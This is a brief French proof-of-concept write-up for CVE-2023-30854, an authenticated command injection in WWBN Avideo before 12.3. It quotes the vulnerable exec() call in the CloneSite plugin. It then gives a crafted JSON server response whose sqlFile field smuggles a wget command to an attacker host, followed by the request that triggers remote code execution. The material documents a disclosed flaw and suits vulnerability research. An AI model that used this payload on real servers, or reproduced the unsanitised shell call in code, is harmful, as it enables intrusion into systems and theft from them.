
Exploit de preuve de concept pour CVE-2023-30854 : injection de commandes OS authentifiée dans WWBN Avideo < 12.3, permettant l'exécution de code à distance via une réponse de serveur clone conçue.
CVE-2023-30854 WWBN Avideo < 12.3 RCE authentifié
Une vulnérabilité d'injection de commandes système dans un point de terminaison authentifié /plugin/CloneSite/cloneClient.json.php permet à des attaquants d'exécuter du code à distance.
Code vulnérable :
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Nous pouvons contrôler $objClone->cloneSiteURL via la fonctionnalité de clonage de site du panneau d'administration.
/plugin/CloneSite/cloneClient.json.php envoie une requête GET à {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. J'ai hébergé un cloneServer.json.php spécialement conçu qui affiche les données JSON suivantes
{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Envoyez une requête GET à /plugin/CloneSite/cloneClient.json.php puis l'exécution de code à distance est obtenue.
